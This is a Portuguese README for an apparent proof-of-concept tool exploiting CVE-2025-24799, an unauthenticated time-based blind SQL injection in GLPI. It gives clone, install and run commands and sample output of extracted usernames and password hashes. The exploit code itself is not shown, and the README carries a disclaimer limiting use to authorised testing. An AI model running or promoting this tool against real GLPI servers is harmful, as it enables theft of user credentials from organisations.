CVE-2025-24799 Exploração Automática

⚡ Visão Geral

CVE-2025-24799 é um exploit de prova de conceito (PoC) direcionado ao GLPI.
Este exploit demonstra Injeção SQL não autenticada (cega baseada em tempo) para extrair credenciais de usuário.

Aviso: Este PoC é apenas para fins educacionais. Não use em sistemas sem permissão.

🛠 Recursos

• Detecta a tabela glpi_users e as colunas necessárias (name e password)
• Extrai nomes de usuário e senhas sequencialmente
• Injeção SQL cega baseada em tempo para exploração não autenticada
• Saída de console colorida com mensagens de status, sucesso, falha e informação
• Funciona em Python 3.x com dependências mínimas

⚙️ Instalação

1. Clone o repositório:

git clone https://github.com/Rosemary1337/CVE-2025-24799.git
cd CVE-2025-24799

2. Instale as dependências:

pip install -r requirements.txt

Requisitos: requests, colorama, beautifulsoup4

🚀 Uso

python3 main.py -u <TARGET_URL>

Exemplo:

python3 main.py -u http://target.com/index.php/ajax

Argumentos

🎨 Saída

O console mostra:

• Mensagens de status [•]
• Sucesso [✔]
• Falha [✖]
• Informação [i]

Exemplo:

[•] Exploiting CVE-2025-24799...
[✔] Table 'glpi_users' found.
[✔] Required columns verified.
[i] Starting credential extraction...

[+] Credential 1: admin:5f4dcc3b5aa765d61d8327deb882cf99
[+] Credential 2: user:123456
[*] Extraction complete.

🔐 Segurança e Aviso Legal

• Apenas para fins educacionais e de teste.
• Não ataque sites sem permissão explícita.
• Use apenas em laboratório controlado ou teste de penetração autorizado.

🔗 Conecte-se Comigo

Sou um desenvolvedor ativo que gosta de criar ferramentas e compartilhar conhecimento. Você pode entrar em contato comigo através de: